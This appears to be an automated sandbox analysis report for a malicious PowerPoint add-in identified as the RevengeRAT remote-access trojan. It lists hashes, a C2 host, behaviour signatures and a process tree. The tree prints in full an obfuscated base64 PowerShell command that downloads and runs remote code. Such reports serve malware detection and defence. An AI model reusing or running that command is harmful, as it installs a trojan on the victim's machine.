Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2023 06:41

General

  • Target

    00026391087.ppam

  • Size

    19KB

  • MD5

    f2c6f5b43d73d91bb9eb0de2812ff7cb

  • SHA1

    d4dbf0af4bfbd0f6ce0aadb9dcbbc30cebf36aad

  • SHA256

    2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5

  • SHA512

    bd2abddb6f66c5f104925d48d6499ed336e52b43829ee42595f00382c69dccb4398822c8df565c31a44ea9fe12dc4fc31c953652a4698bdf6fbfa96df304a82a

  • SSDEEP

    384:dXPWGaYOMHEG4upmXuB44OPJ8GfkXjedXRMx+CI/tQiZlyszuCqo9NRrccG:VPWGNO7kpme64C21Xjc2xXI/XTys6ARk

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\00026391087.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1964
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1872

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Defense Evasion

      Modify Registry

      1
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1384-90-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-96-0x0000000002570000-0x0000000002571000-memory.dmp
        Filesize

        4KB

      • memory/1384-61-0x0000000002660000-0x00000000026A0000-memory.dmp
        Filesize

        256KB

      • memory/1384-62-0x0000000002660000-0x00000000026A0000-memory.dmp
        Filesize

        256KB

      • memory/1384-63-0x0000000005520000-0x000000000557B000-memory.dmp
        Filesize

        364KB

      • memory/1384-92-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-60-0x0000000002660000-0x00000000026A0000-memory.dmp
        Filesize

        256KB

      • memory/1384-88-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-82-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-84-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-86-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1384-81-0x0000000002530000-0x0000000002548000-memory.dmp
        Filesize

        96KB

      • memory/1744-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1744-104-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1872-93-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-97-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-95-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1872-99-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-101-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-103-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-94-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1872-105-0x0000000004930000-0x0000000004970000-memory.dmp
        Filesize

        256KB

      • memory/1872-106-0x0000000004930000-0x0000000004970000-memory.dmp
        Filesize

        256KB